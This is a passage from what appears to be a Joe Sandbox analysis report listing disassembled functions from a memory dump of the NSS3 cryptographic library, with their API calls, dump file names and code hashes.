Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEE1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE1ED0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: dbacd46aa9c51960394bdf870e551b64e8d340f85687151d4e6b06882fb21ca1
Instruction ID: 87e245bdea296b89ee3dc3155cf9b2c1035d63354ae198924be23949b61e1ed6
Opcode Fuzzy Hash: dbacd46aa9c51960394bdf870e551b64e8d340f85687151d4e6b06882fb21ca1
Instruction Fuzzy Hash: 0C514A75A00309DFDB14CFD8C884BAEB7B6BF49358F244129E8199B761D731E985CB90

Function 6CF34FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CE185D2,00000000,?,?), ref: 6CF34FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF3500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF350D6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 21990931ea3e8ff08725850dcdbe59d8c9bc28ad2a3728688f0815090b1f861c
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: FD417DB6A402118BCB18CF18DCD179AB7E1BF8431871D4669D84ACBB02E379E891CBC1

Function 6CE5FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE5FDFE), ref: 6CE5FFAD

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE5FDFE), ref: 6CE5FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE5FDFE), ref: 6CE6001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE5FDFE), ref: 6CE6006F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: c5e5704975a543a5d8d658889eb67d4291d890513c5ee2c3eaa7ddd7c258a40d
Instruction ID: c2e4c65f393b1a2ab90dabc37126a67b25543b5ee75baecb162d47135177274d
Opcode Fuzzy Hash: c5e5704975a543a5d8d658889eb67d4291d890513c5ee2c3eaa7ddd7c258a40d
Instruction Fuzzy Hash: D4411E71F602258BDB48DFA5D885BAF7B74FF46308F144429D80293B40DB39AA01CBE1

Function 6CEE3D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CEE127F,?), ref: 6CEE3D89

Part of subcall function 6CEE06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CEE2E70,00000000), ref: 6CEE0701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CEE3DD3

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 186d20ad2abd1d807ccd74d95d74fb675a24a4b8503a06ccd13a5d9a8e0628ef
Instruction ID: b39cbe0052246ff006438d4f94e739d6903cca7d0f574bc33b60ce2ac1286e84
Opcode Fuzzy Hash: 186d20ad2abd1d807ccd74d95d74fb675a24a4b8503a06ccd13a5d9a8e0628ef
Instruction Fuzzy Hash: FE312579A0661497FB148619D840B6A7275EB4A3ECF38067ADF15C7FF1EB21EC4182C2

Function 6CF47DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF47ED8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: c65fd3ff9bc3c22166804fe53a99b0b9293fcd2cc5184aad1dbd5a6b7b775c6d
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 9B3197B2A011118FD704CF09D8909DABBE2FF8831871B866AD8595BB52EB71EC45CBD1

Function 6CEFDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE9AE42), ref: 6CE830AA
Part of subcall function 6CE83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE830C7
Part of subcall function 6CE83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE830E5
Part of subcall function 6CE83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE83116
Part of subcall function 6CE83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE8312B
Part of subcall function 6CE83090: PK11_DestroyObject.NSS3(?,?), ref: 6CE83154
Part of subcall function 6CE83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEFDBBD), ref: 6CEFDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFDFEE

Part of subcall function 6CE986D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE98716
Part of subcall function 6CE986D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE98727
Part of subcall function 6CE986D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE9873B
Part of subcall function 6CE986D0: PR_Unlock.NSS3(?), ref: 6CE9876F
Part of subcall function 6CE986D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE98787

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CEFDBBD), ref: 6CEFDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CEFDBBD), ref: 6CEFE007

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: c0464055b82299fb66501393cbb4c4e614407e9596747802523a375a6d09ebae
Instruction ID: e61e877ef9f518dd1a1a1c027354ab3a8879d47ccd809b5404c1a3a27237ae24
Opcode Fuzzy Hash: c0464055b82299fb66501393cbb4c4e614407e9596747802523a375a6d09ebae
Instruction Fuzzy Hash: 943127B5A0020117E7109E799C86FAB77B8AF5530CF240139E919D7B52FB35D619C2E2

Function 6CEE2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CEE1289,?), ref: 6CEE2D72

Part of subcall function 6CEE3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CEE2CA7,E80C76FF,?,6CEE1289,?), ref: 6CEE33E9
Part of subcall function 6CEE3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CEE342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE1289,?), ref: 6CEE2D61

Part of subcall function 6CEE0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEE0B21
Part of subcall function 6CEE0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CEE1289,?), ref: 6CEE2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CEE1289,?), ref: 6CEE2DAF

Part of subcall function 6CE9B8F0: PR_CallOnceWithArg.NSS3(6CFD2178,6CE9BCF0,?), ref: 6CE9B915
Part of subcall function 6CE9B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CE9B933
Part of subcall function 6CE9B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CE9B9C8
Part of subcall function 6CE9B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE9B9E1

Part of subcall function 6CEE0A50: SECOID_GetAlgorithmTag_Util.NSS3(6CEE2A90,E8571076,?,6CEE2A7C,6CEE21F1,?,?,?,00000000,00000000,?,?,6CEE21DD,00000000), ref: 6CEE0A66

Part of subcall function 6CEE3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CEE2D1E,?,?,?,?,00000000,?,?,?,?,?,6CEE1289), ref: 6CEE3348

Part of subcall function 6CEE06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CEE2E70,00000000), ref: 6CEE0701

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: a4eeac594caf1e5f1ccae8a3b508b5f4c060d1cfceb4d05595f78a5c78727b0b
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 0931B8B6900206ABDB009E64EC44E9A3779AF5D25DF240134ED159BB91EB31E928C7A2

Function 6CE76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF98FE0), ref: 6CE76CFE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction ID: d7c075e9d6e3bd854516e46c7fa3976d391805f7fa3377483077ad8563af2050
Opcode Fuzzy Hash: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction Fuzzy Hash: B031A1B1A002169FEB18DFA5C881ABFBBF9EF4524CF20442DD905D7710EB319906CBA0

Function 6CF84F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF84F5D
free.MOZGLUE(?), ref: 6CF84F74
free.MOZGLUE(?), ref: 6CF84F82
GetLastError.KERNEL32 ref: 6CF84F90

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: bfd79d2cd3086042abb2ffd43e2d6cb1d6008492261337a4a44e1ae0c8c878d2
Instruction ID: 6c1f055bcacf877fe1fca3b1043ec3234bc4811f2763a97263205d2ca84296d9
Opcode Fuzzy Hash: bfd79d2cd3086042abb2ffd43e2d6cb1d6008492261337a4a44e1ae0c8c878d2
Instruction Fuzzy Hash: 4D3148B5B012194BEB01CB69DC91BDFBBBCFF45348F050229EC25A7780DB34A90586A1

Function 6CEE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE6E57

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6EAA

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction ID: 6b77f3d17775417e151015e9ee8cc39ef0f7fac71f916ec573bc0248bacb8a32
Opcode Fuzzy Hash: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction Fuzzy Hash: 9331B47161055AEBDB141E34D804396B7B8AB0939EF30063DD65AD6BE1EB30B654CB81

Function 6CECDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDDF4

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDE17

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CECDE80

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 4f383e5d7958483bb8acdb7d87dabb8249814584f638f642cbf05f854d08ccca
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8D31A4B5E417429FE700CF56C980656B7B4BFA531CB34822ED82987B01E772F5A5CB82

Function 6CEBFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE95ADC,?,00000000,00000001,?,?,00000000,?,6CE8BA55,?,?), ref: 6CEBFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEBFE5F
PR_Unlock.NSS3(78831D74), ref: 6CEBFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CEBFED6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b0ad1cdb5c9d13fd3c897bcc7ec72f1e7adf401449a00de49cc34845a9f67424
Instruction ID: 96f87888f550a0189447acadc8df10a9ba2056946521703892eca3a11cab34ea
Opcode Fuzzy Hash: b0ad1cdb5c9d13fd3c897bcc7ec72f1e7adf401449a00de49cc34845a9f67424
Instruction Fuzzy Hash: 7021E139E00625ABDB409A24D9447BA7774BF0536CF240124ED0567F42E738A964CBD0

Function 6CEC3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FFE
PR_SetError.NSS3 ref: 6CEC401A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
